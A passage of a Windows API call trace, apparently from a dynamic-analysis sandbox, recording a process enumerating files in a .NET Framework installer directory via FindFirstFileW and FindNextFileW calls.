	[0068.033] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0068.034] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0068.034] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0068.034] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0068.034] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0068.034] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0068.034] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0068.035] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0068.036] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0068.037] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0068.037] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0068.037] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0068.037] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0068.038] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0068.038] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0068.040] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
